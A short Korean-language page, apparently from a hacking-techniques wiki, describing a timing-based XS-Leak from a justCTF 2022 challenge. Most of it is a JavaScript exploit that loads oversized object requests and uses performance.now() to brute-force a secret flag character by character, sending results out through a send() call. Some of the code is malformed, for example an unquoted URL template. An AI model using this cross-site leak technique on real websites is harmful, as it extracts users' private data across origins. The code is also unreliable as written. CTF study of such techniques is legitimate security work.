performance.now + Force heavy task
Exploit taken from https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/
이 도전에서 사용자는 수천 개의 문자를 보낼 수 있으며, 플래그가 포함되어 있다면 문자는 봇으로 다시 전송됩니다. 따라서 공격자는 많은 양의 문자를 보내어 플래그가 전송된 문자열에 포함되어 있는지를 측정할 수 있습니다.
처음에는 객체의 너비와 높이를 설정하지 않았지만, 나중에 중요하다는 것을 알게 되었습니다. 기본 크기는 로드 시간에 차이를 만들기에 너무 작습니다.
function leak(char, callback) { return new Promise(resolve => { let ss = 'just_random_string' let url = http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=+ss[Math.floor(Math.random()*ss.length)].repeat(1000000) let start = performance.now() let object = document.createElement('object'); object.width = '2000px' object.height = '2000px' object.data = url; object.onload = () => { object.remove() let end = performance.now() resolve(end - start) } object.onerror = () => console.log('Error event triggered'); document.body.appendChild(object); })
}
send('start')
let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('') let flag = 'justCTF{'
async function main() { let found = 0 let notFound = 0 for(let i=0;i<3;i++) { await leak('..') } for(let i=0; i<3; i++) { found += await leak('justCTF') } for(let i=0; i<3; i++) { notFound += await leak('NOT_FOUND123') }
found /= 3 notFound /= 3
send('found flag:'+found) send('not found flag:'+notFound)
let threshold = found - ((found - notFound)/2) send('threshold:'+threshold)
if (notFound > found) { return }
// exploit while(true) { if (flag[flag.length - 1] === '}') { break } for(let char of charset) { let trying = flag + char let time = 0 for(let i=0; i<3; i++) { time += await leak(trying) } time/=3 send('char:'+trying+',time:'+time) if (time >= threshold) { flag += char send(flag) break } } } }
main()
```
Last updated